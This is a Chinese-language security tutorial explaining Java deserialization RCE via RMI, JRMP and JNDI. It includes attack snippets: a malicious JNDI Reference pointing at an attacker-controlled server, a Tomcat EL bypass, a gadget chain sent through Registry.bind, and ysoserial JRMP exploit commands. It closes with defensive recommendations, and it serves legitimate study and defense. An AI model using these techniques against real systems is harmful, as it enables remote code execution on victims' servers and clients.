基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
字数 1739 2025-08-25 22:58:56
Java反序列化RCE:深入理解RMI、JRMP与JNDI
1. 核心概念解析
1.1 RMI (Remote Method Invocation)
定义:Java远程方法调用,是一种用于实现远程过程调用的API,使客户机可以调用远程服务器上的对象。
关键特性:
- 跨越JVM的方法调用
- 依赖于接口设计
- 隐藏底层网络通信细节
- 使用Java原生序列化进行数据传输
类比理解:类似于HTTP接口调用,但RMI调用的是Java方法而非HTTP接口
1.2 JRMP (Java Remote Method Protocol)
定义:Java远程方法协议,是RMI底层的线路层协议,运行在TCP/IP之上。
关键特性:
- 专门为Java RMI设计的协议
- 定义数据格式和传输方式
- 负责组织序列化数据并通过TCP传输
- 是RMI能够正常通信的基础
类比理解:类似于HTTP协议之于Web服务,JRMP是RMI的通信协议
1.3 JNDI (Java Naming and Directory Interface)
定义:Java命名和目录接口,提供目录系统服务,将服务名称与对象关联。
关键特性:
- 命名服务:名称与对象/引用关联
- 目录服务:增加属性概念,可基于属性筛选
- 常见实现:RMI、LDAP等
- 客户端可通过名称查找并下载对象
核心组件:
InitialContext:初始上下文,访问入口Reference:命名引用,包含className、factory、classFactoryLocation
2. 攻击场景分析
2.1 JNDI lookup导致RCE
攻击原理:
- 攻击者控制JNDI服务(RMI或LDAP)
- 服务中绑定恶意Reference对象
- 受害者执行
InitialContext.lookup()时 - 客户端下载Reference并按指定加载远程恶意类
关键步骤:
// 攻击者设置恶意JNDI服务
Reference reference = new Reference("恶意类","工厂类","http://恶意服务器/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("恶意服务",referenceWrapper);
// 受害者执行
new InitialContext().lookup("rmi://恶意服务器/恶意服务");
绕过限制:
- JDK 8u121+默认不信任远程codebase
- 解决方案:使用LDAP代替RMI(8u191前有效)
- 或使用本地gadget chain(如Tomcat EL)
Tomcat EL利用示例:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x","恶意EL表达式"));
2.2 Registry bind导致RCE
攻击原理:
- RMI Registry接收bind请求时
- 会反序列化传入的对象
- 攻击者构造恶意序列化对象
- 通过bind发送给Registry
关键步骤:
// 构造恶意对象
Transformer[] transformers = {...}; // gadget chain
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap,transformer);
// ... 构造完整gadget
// 发送给Registry
Registry registry = LocateRegistry.getRegistry("目标",1099);
registry.bind("恶意名称",恶意对象);
防御机制:
- JDK过滤特定危险类
- 报错示例:
ObjectInputFilter REJECTED: class java.util.HashSet
2.3 JRMP互打攻击
客户端攻击服务端
攻击原理:
- 服务端监听JRMP端口
- 客户端连接并发送恶意序列化数据
- 服务端反序列化触发RCE
利用工具:
java -cp ysoserial.jar ysoserial.exploit.JRMPClient <目标IP> <端口> <payload类型> <命令>
服务端攻击客户端
攻击原理:
- 攻击者启动恶意JRMP服务
- 客户端连接时返回恶意序列化数据
- 客户端反序列化触发RCE
利用工具:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener <监听端口> <payload类型> <命令>
3. 攻击方式总结
| 攻击类型 | 目标 | 利用点 | 限制条件 |
|---|---|---|---|
| Registry bind | RMI Registry | bind时的反序列化 | JDK过滤机制 |
| JNDI lookup | lookup客户端 | Reference远程类加载 | JDK信任设置 |
| JRMP客户端攻击 | JRMP服务端 | 连接时的反序列化 | 网络可达 |
| JRMP服务端攻击 | JRMP客户端 | 响应时的反序列化 | 客户端主动连接 |
4. 防御建议
- 升级JDK到最新版本
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 使用安全管理器限制反序列化
- 网络隔离关键RMI服务
- 监控异常JRMP连接
5. 参考资源
- Java RMI官方文档
- ysoserial工具集
- JEP 290(反序列化过滤)
- 各JDK版本的安全公告
通过深入理解RMI、JRMP和JNDI的工作原理,可以更好地防御和检测相关的反序列化攻击。关键在于控制反序列化过程和限制不可信的远程代码加载。